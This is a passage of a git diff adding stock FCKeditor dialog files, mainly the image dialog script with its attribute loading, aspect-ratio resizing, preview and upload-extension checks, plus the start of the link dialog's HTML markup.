+                                       <input id="txtAttTitle" style="width: 100%" type="text" />
+                               </td>
+                       </tr>
+               </table>
+               <span fcklang="DlgGenStyle">Style</span><br />
+               <input id="txtAttStyle" style="width: 100%" type="text" />
+       </div>
+</body>
+</html>
diff --git a/fckeditor/editor/dialog/fck_image/fck_image.js b/fckeditor/editor/dialog/fck_image/fck_image.js
new file mode 100755 (executable)
index 0000000..bc642dd
--- /dev/null
@@ -0,0 +1,490 @@
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_image.js
+ *     Scripts related to the Image dialog window (see fck_image.html).
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+ */
+
+var oEditor            = window.parent.InnerDialogLoaded() ;
+var FCK                        = oEditor.FCK ;
+var FCKLang            = oEditor.FCKLang ;
+var FCKConfig  = oEditor.FCKConfig ;
+var FCKDebug   = oEditor.FCKDebug ;
+
+var bImageButton = ( document.location.search.length > 0 && document.location.search.substr(1) == 'ImageButton' ) ;
+
+//#### Dialog Tabs
+
+// Set the dialog tabs.
+window.parent.AddTab( 'Info', FCKLang.DlgImgInfoTab ) ;
+
+if ( !bImageButton && !FCKConfig.ImageDlgHideLink )
+       window.parent.AddTab( 'Link', FCKLang.DlgImgLinkTab ) ;
+
+//if ( FCKConfig.ImageUpload )
+//     window.parent.AddTab( 'Upload', FCKLang.DlgLnkUpload ) ;
+
+if ( !FCKConfig.ImageDlgHideAdvanced )
+       window.parent.AddTab( 'Advanced', FCKLang.DlgAdvancedTag ) ;
+
+// Function called when a dialog tag is selected.
+function OnDialogTabChange( tabCode )
+{
+       ShowE('divInfo'         , ( tabCode == 'Info' ) ) ;
+       ShowE('divLink'         , ( tabCode == 'Link' ) ) ;
+       //ShowE('divUpload'     , ( tabCode == 'Upload' ) ) ;
+       ShowE('divAdvanced'     , ( tabCode == 'Advanced' ) ) ;
+}
+
+// Get the selected image (if available).
+var oImage = FCK.Selection.GetSelectedElement() ;
+
+if ( oImage && oImage.tagName != 'IMG' && !( oImage.tagName == 'INPUT' && oImage.type == 'image' ) )
+       oImage = null ;
+
+// Get the active link.
+var oLink = FCK.Selection.MoveToAncestorNode( 'A' ) ;
+
+var oImageOriginal ;
+
+function UpdateOriginal( resetSize )
+{
+       if ( !eImgPreview )
+               return ;
+       
+       if ( GetE('txtUrl').value.length == 0 )
+       {
+               oImageOriginal = null ;
+               return ;
+       }
+               
+       oImageOriginal = document.createElement( 'IMG' ) ;      // new Image() ;
+
+       if ( resetSize )
+       {
+               oImageOriginal.onload = function()
+               {
+                       this.onload = null ;
+                       ResetSizes() ;
+               }
+       }
+
+       oImageOriginal.src = eImgPreview.src ;
+}
+
+var bPreviewInitialized ;
+
+window.onload = function()
+{
+       // Translate the dialog box texts.
+       oEditor.FCKLanguageManager.TranslatePage(document) ;
+
+       GetE('btnLockSizes').title = FCKLang.DlgImgLockRatio ;
+       GetE('btnResetSize').title = FCKLang.DlgBtnResetSize ;
+
+       // Load the selected element information (if any).
+       LoadSelection() ;
+
+       // Show/Hide the "Browse Server" button.
+       GetE('tdBrowse').style.display                          = FCKConfig.ImageBrowser        ? '' : 'none' ;
+       //GetE('divLnkBrowseServer').style.display      = FCKConfig.LinkBrowser         ? '' : 'none' ;
+
+       UpdateOriginal() ;
+
+       // Set the actual uploader URL.
+       if ( FCKConfig.ImageUpload )
+               GetE('frmUpload').action = FCKConfig.ImageUploadURL ;
+
+       window.parent.SetAutoSize( true ) ;
+
+       // Activate the "OK" button.
+       window.parent.SetOkButton( true ) ;
+}
+
+function LoadSelection()
+{
+       if ( ! oImage ) return ;
+
+       var sUrl = oImage.getAttribute( '_fcksavedurl' ) ;
+       if ( sUrl == null )
+               sUrl = GetAttribute( oImage, 'src', '' ) ;
+
+       GetE('txtUrl').value    = sUrl ;
+       GetE('txtAlt').value    = GetAttribute( oImage, 'alt', '' ) ;
+       GetE('txtVSpace').value = GetAttribute( oImage, 'vspace', '' ) ;
+       GetE('txtHSpace').value = GetAttribute( oImage, 'hspace', '' ) ;
+       GetE('txtBorder').value = GetAttribute( oImage, 'border', '' ) ;
+       GetE('cmbAlign').value  = GetAttribute( oImage, 'align', '' ) ;
+
+       var iWidth, iHeight ;
+
+       var regexSize = /^\s*(\d+)px\s*$/i ;
+       
+       if ( oImage.style.width )
+       {
+               var aMatchW  = oImage.style.width.match( regexSize ) ;
+               if ( aMatchW )
+               {
+                       iWidth = aMatchW[1] ;
+                       oImage.style.width = '' ;
+               }
+       }
+
+       if ( oImage.style.height )
+       {
+               var aMatchH  = oImage.style.height.match( regexSize ) ;
+               if ( aMatchH )
+               {
+                       iHeight = aMatchH[1] ;
+                       oImage.style.height = '' ;
+               }
+       }
+
+       GetE('txtWidth').value  = iWidth ? iWidth : GetAttribute( oImage, "width", '' ) ;
+       GetE('txtHeight').value = iHeight ? iHeight : GetAttribute( oImage, "height", '' ) ;
+
+       // Get Advances Attributes
+       GetE('txtAttId').value                  = oImage.id ;
+       GetE('cmbAttLangDir').value             = oImage.dir ;
+       GetE('txtAttLangCode').value    = oImage.lang ;
+       GetE('txtAttTitle').value               = oImage.title ;
+       GetE('txtLongDesc').value               = oImage.longDesc ;
+
+       if ( oEditor.FCKBrowserInfo.IsIE )
+       {
+               GetE('txtAttClasses').value = oImage.getAttribute('className') || '' ;
+               GetE('txtAttStyle').value = oImage.style.cssText ;
+       }
+       else
+       {
+               GetE('txtAttClasses').value = oImage.getAttribute('class',2) || '' ;
+               GetE('txtAttStyle').value = oImage.getAttribute('style',2) ;
+       }
+
+       if ( oLink )
+       {
+               var sLinkUrl = oLink.getAttribute( '_fcksavedurl' ) ;
+               if ( sLinkUrl == null )
+                       sLinkUrl = oLink.getAttribute('href',2) ;
+       
+               GetE('txtLnkUrl').value         = sLinkUrl ;
+               GetE('cmbLnkTarget').value      = oLink.target ;
+       }
+
+       UpdatePreview() ;
+}
+
+//#### The OK button was hit.
+function Ok()
+{
+       if ( GetE('txtUrl').value.length == 0 )
+       {
+               window.parent.SetSelectedTab( 'Info' ) ;
+               GetE('txtUrl').focus() ;
+
+               alert( FCKLang.DlgImgAlertUrl ) ;
+
+               return false ;
+       }
+
+       var bHasImage = ( oImage != null ) ;
+
+       if ( bHasImage && bImageButton && oImage.tagName == 'IMG' )
+       {
+               if ( confirm( 'Do you want to transform the selected image on a image button?' ) )
+                       oImage = null ;
+       }
+       else if ( bHasImage && !bImageButton && oImage.tagName == 'INPUT' )
+       {
+               if ( confirm( 'Do you want to transform the selected image button on a simple image?' ) )
+                       oImage = null ;
+       }
+       
+       if ( !bHasImage )
+       {
+               if ( bImageButton )
+               {
+                       oImage = FCK.EditorDocument.createElement( 'INPUT' ) ;
+                       oImage.type = 'image' ;
+                       oImage = FCK.InsertElementAndGetIt( oImage ) ;
+               }
+               else
+                       oImage = FCK.CreateElement( 'IMG' ) ;
+       }
+       else
+               oEditor.FCKUndo.SaveUndoStep() ;
+       
+       UpdateImage( oImage ) ;
+
+       var sLnkUrl = GetE('txtLnkUrl').value.Trim() ;
+
+       if ( sLnkUrl.length == 0 )
+       {
+               if ( oLink )
+                       FCK.ExecuteNamedCommand( 'Unlink' ) ;
+       }
+       else
+       {
+               if ( oLink )    // Modifying an existent link.
+                       oLink.href = sLnkUrl ;
+               else                    // Creating a new link.
+               {
+                       if ( !bHasImage )
+                               oEditor.FCKSelection.SelectNode( oImage ) ;
+
+                       oLink = oEditor.FCK.CreateLink( sLnkUrl ) ;
+
+                       if ( !bHasImage )
+                       {
+                               oEditor.FCKSelection.SelectNode( oLink ) ;
+                               oEditor.FCKSelection.Collapse( false ) ;
+                       }
+               }
+
+               SetAttribute( oLink, '_fcksavedurl', sLnkUrl ) ;
+               SetAttribute( oLink, 'target', GetE('cmbLnkTarget').value ) ;
+       }
+
+       return true ;
+}
+
+function UpdateImage( e, skipId )
+{
+       e.src = GetE('txtUrl').value ;
+       SetAttribute( e, "_fcksavedurl", GetE('txtUrl').value ) ;
+       SetAttribute( e, "alt"   , GetE('txtAlt').value ) ;
+       SetAttribute( e, "width" , GetE('txtWidth').value ) ;
+       SetAttribute( e, "height", GetE('txtHeight').value ) ;
+       SetAttribute( e, "vspace", GetE('txtVSpace').value ) ;
+       SetAttribute( e, "hspace", GetE('txtHSpace').value ) ;
+       SetAttribute( e, "border", GetE('txtBorder').value ) ;
+       SetAttribute( e, "align" , GetE('cmbAlign').value ) ;
+
+       // Advances Attributes
+
+       if ( ! skipId )
+               SetAttribute( e, 'id', GetE('txtAttId').value ) ;
+
+       SetAttribute( e, 'dir'          , GetE('cmbAttLangDir').value ) ;
+       SetAttribute( e, 'lang'         , GetE('txtAttLangCode').value ) ;
+       SetAttribute( e, 'title'        , GetE('txtAttTitle').value ) ;
+       SetAttribute( e, 'class'        , GetE('txtAttClasses').value ) ;
+       SetAttribute( e, 'longDesc'     , GetE('txtLongDesc').value ) ;
+
+       if ( oEditor.FCKBrowserInfo.IsIE )
+               e.style.cssText = GetE('txtAttStyle').value ;
+       else
+               SetAttribute( e, 'style', GetE('txtAttStyle').value ) ;
+}
+
+var eImgPreview ;
+var eImgPreviewLink ;
+
+function SetPreviewElements( imageElement, linkElement )
+{
+       eImgPreview = imageElement ;
+       eImgPreviewLink = linkElement ;
+
+       UpdatePreview() ;
+       UpdateOriginal() ;
+       
+       bPreviewInitialized = true ;
+}
+
+function UpdatePreview()
+{
+       if ( !eImgPreview || !eImgPreviewLink )
+               return ;
+
+       if ( GetE('txtUrl').value.length == 0 )
+               eImgPreviewLink.style.display = 'none' ;
+       else
+       {
+               UpdateImage( eImgPreview, true ) ;
+
+               if ( GetE('txtLnkUrl').value.Trim().length > 0 )
+                       eImgPreviewLink.href = 'javascript:void(null);' ;
+               else
+                       SetAttribute( eImgPreviewLink, 'href', '' ) ;
+
+               eImgPreviewLink.style.display = '' ;
+       }
+}
+
+var bLockRatio = true ;
+
+function SwitchLock( lockButton )
+{
+       bLockRatio = !bLockRatio ;
+       lockButton.className = bLockRatio ? 'BtnLocked' : 'BtnUnlocked' ;
+       lockButton.title = bLockRatio ? 'Lock sizes' : 'Unlock sizes' ;
+
+       if ( bLockRatio )
+       {
+               if ( GetE('txtWidth').value.length > 0 )
+                       OnSizeChanged( 'Width', GetE('txtWidth').value ) ;
+               else
+                       OnSizeChanged( 'Height', GetE('txtHeight').value ) ;
+       }
+}
+
+// Fired when the width or height input texts change
+function OnSizeChanged( dimension, value )
+{
+       // Verifies if the aspect ration has to be mantained
+       if ( oImageOriginal && bLockRatio )
+       {
+               var e = dimension == 'Width' ? GetE('txtHeight') : GetE('txtWidth') ;
+               
+               if ( value.length == 0 || isNaN( value ) )
+               {
+                       e.value = '' ;
+                       return ;
+               }
+
+               if ( dimension == 'Width' )
+                       value = value == 0 ? 0 : Math.round( oImageOriginal.height * ( value  / oImageOriginal.width ) ) ;
+               else
+                       value = value == 0 ? 0 : Math.round( oImageOriginal.width  * ( value / oImageOriginal.height ) ) ;
+
+               if ( !isNaN( value ) )
+                       e.value = value ;
+       }
+
+       UpdatePreview() ;
+}
+
+// Fired when the Reset Size button is clicked
+function ResetSizes()
+{
+       if ( ! oImageOriginal ) return ;
+
+       GetE('txtWidth').value  = oImageOriginal.width ;
+       GetE('txtHeight').value = oImageOriginal.height ;
+
+       UpdatePreview() ;
+}
+
+function BrowseServer()
+{
+       OpenServerBrowser(
+               'Image',
+               FCKConfig.ImageBrowserURL,
+               FCKConfig.ImageBrowserWindowWidth,
+               FCKConfig.ImageBrowserWindowHeight ) ;
+}
+
+function LnkBrowseServer()
+{
+       OpenServerBrowser(
+               'Link',
+               FCKConfig.LinkBrowserURL,
+               FCKConfig.LinkBrowserWindowWidth,
+               FCKConfig.LinkBrowserWindowHeight ) ;
+}
+
+function OpenServerBrowser( type, url, width, height )
+{
+       sActualBrowser = type ;
+       OpenFileBrowser( url, width, height ) ;
+}
+
+var sActualBrowser ;
+
+function SetUrl( url, width, height, alt )
+{
+       if ( sActualBrowser == 'Link' )
+       {
+               GetE('txtLnkUrl').value = url ;
+               UpdatePreview() ;
+       }
+       else
+       {
+               GetE('txtUrl').value = url ;
+               GetE('txtWidth').value = width ? width : '' ;
+               GetE('txtHeight').value = height ? height : '' ;
+
+               if ( alt )
+                       GetE('txtAlt').value = alt;
+
+               UpdatePreview() ;
+               UpdateOriginal( true ) ;
+       }
+       
+       window.parent.SetSelectedTab( 'Info' ) ;
+}
+
+function OnUploadCompleted( errorNumber, fileUrl, fileName, customMsg )
+{
+       switch ( errorNumber )
+       {
+               case 0 :        // No errors
+                       alert( 'Your file has been successfully uploaded' ) ;
+                       break ;
+               case 1 :        // Custom error
+                       alert( customMsg ) ;
+                       return ;
+               case 101 :      // Custom warning
+                       alert( customMsg ) ;
+                       break ;
+               case 201 :
+                       alert( 'A file with the same name is already available. The uploaded file has been renamed to "' + fileName + '"' ) ;
+                       break ;
+               case 202 :
+                       alert( 'Invalid file type' ) ;
+                       return ;
+               case 203 :
+                       alert( "Security error. You probably don't have enough permissions to upload. Please check your server." ) ;
+                       return ;
+               default :
+                       alert( 'Error on file upload. Error number: ' + errorNumber ) ;
+                       return ;
+       }
+
+       sActualBrowser = '' ;
+       SetUrl( fileUrl ) ;
+       GetE('frmUpload').reset() ;
+}
+
+var oUploadAllowedExtRegex     = new RegExp( FCKConfig.ImageUploadAllowedExtensions, 'i' ) ;
+var oUploadDeniedExtRegex      = new RegExp( FCKConfig.ImageUploadDeniedExtensions, 'i' ) ;
+
+function CheckUpload()
+{
+       var sFile = GetE('txtUploadFile').value ;
+       
+       if ( sFile.length == 0 )
+       {
+               alert( 'Please select a file to upload' ) ;
+               return false ;
+       }
+       
+       if ( ( FCKConfig.ImageUploadAllowedExtensions.length > 0 && !oUploadAllowedExtRegex.test( sFile ) ) ||
+               ( FCKConfig.ImageUploadDeniedExtensions.length > 0 && oUploadDeniedExtRegex.test( sFile ) ) )
+       {
+               OnUploadCompleted( 202 ) ;
+               return false ;
+       }
+       
+       return true ;
+}
diff --git a/fckeditor/editor/dialog/fck_image/fck_image_preview.html b/fckeditor/editor/dialog/fck_image/fck_image_preview.html
new file mode 100755 (executable)
index 0000000..b9c9cb0
--- /dev/null
@@ -0,0 +1,69 @@
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_image_preview.html
+ *     Preview page for the Image dialog window.
+ *     Curiosity: http://en.wikipedia.org/wiki/Lorem_ipsum
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+       <title></title>
+       <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+       <meta name="robots" content="noindex, nofollow" />
+       <link href="../common/fck_dialog_common.css" rel="stylesheet" type="text/css" />
+       <script type="text/javascript">
+
+// Sets the Skin CSS
+document.write( '<link href="' + window.parent.FCKConfig.SkinPath + 'fck_dialog.css" type="text/css" rel="stylesheet">' ) ;
+
+if ( window.parent.FCKConfig.BaseHref.length > 0 )
+       document.write( '<base href="' + window.parent.FCKConfig.BaseHref + '">' ) ;
+
+window.onload = function()
+{
+       window.parent.SetPreviewElements( 
+               document.getElementById( 'imgPreview' ),
+               document.getElementById( 'lnkPreview' ) ) ;
+}
+
+       </script>
+</head>
+<body style="color: #000000; background-color: #ffffff">
+       <a id="lnkPreview" onclick="return false;" style="cursor: default">
+               <img id="imgPreview" onload="window.parent.UpdateOriginal();" style="display: none" /></a>Lorem
+       ipsum dolor sit amet, consectetuer adipiscing elit. Maecenas feugiat consequat diam.
+       Maecenas metus. Vivamus diam purus, cursus a, commodo non, facilisis vitae, nulla.
+       Aenean dictum lacinia tortor. Nunc iaculis, nibh non iaculis aliquam, orci felis
+       euismod neque, sed ornare massa mauris sed velit. Nulla pretium mi et risus. Fusce
+       mi pede, tempor id, cursus ac, ullamcorper nec, enim. Sed tortor. Curabitur molestie.
+       Duis velit augue, condimentum at, ultrices a, luctus ut, orci. Donec pellentesque
+       egestas eros. Integer cursus, augue in cursus faucibus, eros pede bibendum sem,
+       in tempus tellus justo quis ligula. Etiam eget tortor. Vestibulum rutrum, est ut
+       placerat elementum, lectus nisl aliquam velit, tempor aliquam eros nunc nonummy
+       metus. In eros metus, gravida a, gravida sed, lobortis id, turpis. Ut ultrices,
+       ipsum at venenatis fringilla, sem nulla lacinia tellus, eget aliquet turpis mauris
+       non enim. Nam turpis. Suspendisse lacinia. Curabitur ac tortor ut ipsum egestas
+       elementum. Nunc imperdiet gravida mauris.
+</body>
+</html>
diff --git a/fckeditor/editor/dialog/fck_link.html b/fckeditor/editor/dialog/fck_link.html
new file mode 100755 (executable)
index 0000000..c0a0416
--- /dev/null
@@ -0,0 +1,294 @@
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_link.html
+ *     Link dialog window.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<html>
+       <head>
+               <title>Link Properties</title>
+               <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+               <meta name="robots" content="noindex, nofollow" />
+               <script src="common/fck_dialog_common.js" type="text/javascript"></script>
+               <script src="fck_link/fck_link.js" type="text/javascript"></script>
+       </head>
+       <body scroll="no" style="OVERFLOW: hidden">
+               <div id="divInfo" style="DISPLAY: none">
+                       <span fckLang="DlgLnkType">Link Type</span><br />
+                       <select id="cmbLinkType" onchange="SetLinkType(this.value);">
+                               <option value="url" fckLang="DlgLnkTypeURL" selected="selected">URL</option>
+                               <option value="email" fckLang="DlgLnkTypeEMail">E-Mail</option>
+                       </select>
+                       <br />
+                       <br />
+                       <div id="divLinkTypeUrl">
+                               <table cellspacing="0" cellpadding="0" width="100%" border="0" dir="ltr">
+                                       <tr>
+                                               <td nowrap="nowrap">
+                                                       <span fckLang="DlgLnkProto">Protocol</span><br />
+                                                       <select id="cmbLinkProtocol">
+                                                               <option value="http://" selected="selected">http://</option>
+                                                               <option value="https://">https://</option>
+                                                               <option value="" fckLang="DlgLnkProtoOther">&lt;other&gt;</option>
+                                                       </select>
+                                               </td>
+                                               <td nowrap="nowrap">&nbsp;</td>
+                                               <td nowrap="nowrap" width="100%">
+                                                       <span fckLang="DlgLnkURL">URL</span><br />
+                                                       <input id="txtUrl" style="WIDTH: 100%" type="text" onkeyup="OnUrlChange();" onchange="OnUrlChange();" />
+                                               </td>
+                                       </tr>
+                               </table>
+                               <br />
+                               <div id="divBrowseServer">
+                               <input type="button" value="Browse Server" fckLang="DlgBtnBrowseServer" onclick="BrowseServer();" />
+                               </div>
+                       </div>
+                       <div id="divLinkTypeAnchor" style="DISPLAY: none" align="center">
+                               <div id="divSelAnchor" style="DISPLAY: none">
+                                       <table cellspacing="0" cellpadding="0" border="0" width="70%">
+                                               <tr>
+                                                       <td colspan="3">
+                                                               <span fckLang="DlgLnkAnchorSel">Select an Anchor</span>
+                                                       </td>
+                                               </tr>
+                                               <tr>
+                                                       <td width="50%">
+                                                               <span fckLang="DlgLnkAnchorByName">By Anchor Name</span><br />
+                                                               <select id="cmbAnchorName" onchange="GetE('cmbAnchorId').value='';" style="WIDTH: 100%">
+                                                                       <option value="" selected="selected"></option>
+                                                               </select>
+                                                       </td>
+                                                       <td>&nbsp;&nbsp;&nbsp;</td>
+                                                       <td width="50%">
+                                                               <span fckLang="DlgLnkAnchorById">By Element Id</span><br />
+                                                               <select id="cmbAnchorId" onchange="GetE('cmbAnchorName').value='';" style="WIDTH: 100%">
+                                                                       <option value="" selected="selected"></option>
+                                                               </select>
+                                                       </td>
+                                               </tr>
+                                       </table>
+                               </div>
+                               <div id="divNoAnchor" style="DISPLAY: none">
+                                       <span fckLang="DlgLnkNoAnchors">&lt;No anchors available in the document&gt;</span>
+                               </div>
+                       </div>
+                       <div id="divLinkTypeEMail" style="DISPLAY: none">
+                               <span fckLang="DlgLnkEMail">E-Mail Address</span><br />
+                               <input id="txtEMailAddress" style="WIDTH: 100%" type="text" /><br />
+                               <span fckLang="DlgLnkEMailSubject">Message Subject</span><br />
+                               <input id="txtEMailSubject" style="WIDTH: 100%" type="text" /><br />
+                               <span fckLang="DlgLnkEMailBody">Message Body</span><br />
+                               <textarea id="txtEMailBody" style="WIDTH: 100%" rows="3" cols="20"></textarea>
+                       </div>
+               </div>
+               <div id="divUpload" style="DISPLAY: none">
+                       <form id="frmUpload" method="post" target="UploadWindow" enctype="multipart/form-data" action="" onsubmit="return CheckUpload();">
+                               <span fckLang="DlgLnkUpload">Upload</span><br />
+                               <input id="txtUploadFile" style="WIDTH: 100%" type="file" size="40" name="NewFile" /><br />
+                               <br />
+                               <input id="btnUpload" type="submit" value="Send it to the Server" fckLang="DlgLnkBtnUpload" />
+                               <iframe name="UploadWindow" style="DISPLAY: none" src="javascript:void(0)"></iframe> 
+                       </form>
+               </div>
+               <div id="divTarget" style="DISPLAY: none">
+                       <table cellspacing="0" cellpadding="0" width="100%" border="0">
+                               <tr>
+                                       <td nowrap="nowrap">
+                                               <span fckLang="DlgLnkTarget">Target</span><br />
+                                               <select id="cmbTarget" onchange="SetTarget(this.value);">
+                                                       <option value="" fckLang="DlgGenNotSet" selected="selected">&lt;not set&gt;</option>
+                                                       <option value="frame" fckLang="DlgLnkTargetFrame">&lt;frame&gt;</option>
+                                                       <option value="popup" fckLang="DlgLnkTargetPopup">&lt;popup window&gt;</option>
+                                                       <option value="_blank" fckLang="DlgLnkTargetBlank">New Window (_blank)</option>
+                                                       <option value="_top" fckLang="DlgLnkTargetTop">Topmost Window (_top)</option>
+                                                       <option value="_self" fckLang="DlgLnkTargetSelf">Same Window (_self)</option>
+                                                       <option value="_parent" fckLang="DlgLnkTargetParent">Parent Window (_parent)</option>
+                                               </select>
+                                       </td>
+                                       <td>&nbsp;</td>
+                                       <td id="tdTargetFrame" nowrap="nowrap" width="100%">
+                                               <span fckLang="DlgLnkTargetFrameName">Target Frame Name</span><br />
+                                               <input id="txtTargetFrame" style="WIDTH: 100%" type="text" onkeyup="OnTargetNameChange();"
+                                                       onchange="OnTargetNameChange();" />
+                                       </td>
+                                       <td id="tdPopupName" style="DISPLAY: none" nowrap="nowrap" width="100%">
+                                               <span fckLang="DlgLnkPopWinName">Popup Window Name</span><br />
+                                               <input id="txtPopupName" style="WIDTH: 100%" type="text" />
+                                       </td>
+                               </tr>
+                       </table>
+                       <br />
+                       <table id="tablePopupFeatures" style="DISPLAY: none" cellspacing="0" cellpadding="0" align="center"
+                               border="0">
+                               <tr>
+                                       <td>
+                                               <span fckLang="DlgLnkPopWinFeat">Popup Window Features</span><br />
+                                               <table cellspacing="0" cellpadding="0" border="0">
+                                                       <tr>
+                                                               <td valign="top" nowrap="nowrap" width="50%">
+                                                                       <input id="chkPopupResizable" name="chkFeature" value="resizable" type="checkbox" /><label for="chkPopupResizable" fckLang="DlgLnkPopResize">Resizable</label><br />
+                                                                       <input id="chkPopupLocationBar" name="chkFeature" value="location" type="checkbox" /><label for="chkPopupLocationBar" fckLang="DlgLnkPopLocation">Location 
+                                                                               Bar</label><br />
+                                                                       <input id="chkPopupManuBar" name="chkFeature" value="menubar" type="checkbox" /><label for="chkPopupManuBar" fckLang="DlgLnkPopMenu">Menu 
+                                                                               Bar</label><br />
+                                                                       <input id="chkPopupScrollBars" name="chkFeature" value="scrollbars" type="checkbox" /><label for="chkPopupScrollBars" fckLang="DlgLnkPopScroll">Scroll 
+                                                                               Bars</label>
+                                                               </td>
+                                                               <td></td>
+                                                               <td valign="top" nowrap="nowrap" width="50%">
+                                                                       <input id="chkPopupStatusBar" name="chkFeature" value="status" type="checkbox" /><label for="chkPopupStatusBar" fckLang="DlgLnkPopStatus">Status 
+                                                                               Bar</label><br />
+                                                                       <input id="chkPopupToolbar" name="chkFeature" value="toolbar" type="checkbox" /><label for="chkPopupToolbar" fckLang="DlgLnkPopToolbar">Toolbar</label><br />
+                                                                       <input id="chkPopupFullScreen" name="chkFeature" value="fullscreen" type="checkbox" /><label for="chkPopupFullScreen" fckLang="DlgLnkPopFullScrn">Full 
+                                                                               Screen (IE)</label><br />
+                                                                       <input id="chkPopupDependent" name="chkFeature" value="dependent" type="checkbox" /><label for="chkPopupDependent" fckLang="DlgLnkPopDependent">Dependent 
+                                                                               (Netscape)</label>
+                                                               </td>
+                                                       </tr>
+                                                       <tr>
+                                                               <td valign="top" nowrap="nowrap" width="50%">&nbsp;</td>
+                                                               <td></td>
+                                                               <td valign="top" nowrap="nowrap" width="50%"></td>
+                                                       </tr>
+                                                       <tr>
+                                                               <td valign="top">
+                                                                       <table cellspacing="0" cellpadding="0" border="0">
+                                                                               <tr>
+                                                                                       <td nowrap="nowrap"><span fckLang="DlgLnkPopWidth">Width</span></td>
+                                                                                       <td>&nbsp;<input id="txtPopupWidth" type="text" maxlength="4" size="4" /></td>
+                                                                               </tr>
+                                                                               <tr>
+                                                                                       <td nowrap="nowrap"><span fckLang="DlgLnkPopHeight">Height</span></td>
+                                                                                       <td>&nbsp;<input id="txtPopupHeight" type="text" maxlength="4" size="4" /></td>
+                                                                               </tr>
+                                                                       </table>
+                                                               </td>
+                                                               <td>&nbsp;&nbsp;</td>
+                                                               <td valign="top">
+                                                                       <table cellspacing="0" cellpadding="0" border="0">
+                                                                               <tr>
+                                                                                       <td nowrap="nowrap"><span fckLang="DlgLnkPopLeft">Left Position</span></td>
+                                                                                       <td>&nbsp;<input id="txtPopupLeft" type="text" maxlength="4" size="4" /></td>
+                                                                               </tr>
+                                                                               <tr>
+                                                                                       <td nowrap="nowrap"><span fckLang="DlgLnkPopTop">Top Position</span></td>
+                                                                                       <td>&nbsp;<input id="txtPopupTop" type="text" maxlength="4" size="4" /></td>
+                                                                               </tr>
+                                                                       </table>
+                                                               </td>
+                                                       </tr>
+                                               </table>
+                                       </td>
+                               </tr>
+                       </table>
+               </div>
+               <div id="divAttribs" style="DISPLAY: none">
+                       <table cellspacing="0" cellpadding="0" width="100%" align="center" border="0">
+                               <tr>
+                                       <td valign="top" width="50%">
+                                               <span fckLang="DlgGenId">Id</span><br />
+                                               <input id="txtAttId" style="WIDTH: 100%" type="text" />
+                                       </td>
+                                       <td width="1"></td>
+                                       <td valign="top">
+                                               <table cellspacing="0" cellpadding="0" width="100%" align="center" border="0">
+                                                       <tr>
+                                                               <td width="60%">
+                                                                       <span fckLang="DlgGenLangDir">Language Direction</span><br />
+                                                                       <select id="cmbAttLangDir" style="WIDTH: 100%">
+                                                                               <option value="" fckLang="DlgGenNotSet" selected>&lt;not set&gt;</option>
+                                                                               <option value="ltr" fckLang="DlgGenLangDirLtr">Left to Right (LTR)</option>
+                                                                               <option value="rtl" fckLang="DlgGenLangDirRtl">Right to Left (RTL)</option>
+                                                                       </select>
+                                                               </td>
+                                                               <td width="1%">&nbsp;&nbsp;&nbsp;</td>
+                                                               <td nowrap="nowrap"><span fckLang="DlgGenAccessKey">Access Key</span><br />
+                                                                       <input id="txtAttAccessKey" style="WIDTH: 100%" type="text" maxlength="1" size="1" />
+                                                               </td>
+                                                       </tr>
+                                               </table>
+                                       </td>
+                               </tr>
+                               <tr>
+                                       <td valign="top" width="50%">
+                                               <span fckLang="DlgGenName">Name</span><br />
+                                               <input id="txtAttName" style="WIDTH: 100%" type="text" />
+                                       </td>
+                                       <td width="1"></td>
+                                       <td valign="top">
+                                               <table cellspacing="0" cellpadding="0" width="100%" align="center" border="0">
+                                                       <tr>
+                                                               <td width="60%">
+                                                                       <span fckLang="DlgGenLangCode">Language Code</span><br />
+                                                                       <input id="txtAttLangCode" style="WIDTH: 100%" type="text" />
+                                                               </td>
+                                                               <td width="1%">&nbsp;&nbsp;&nbsp;</td>
+                                                               <td nowrap="nowrap">
+                                                                       <span fckLang="DlgGenTabIndex">Tab Index</span><br />
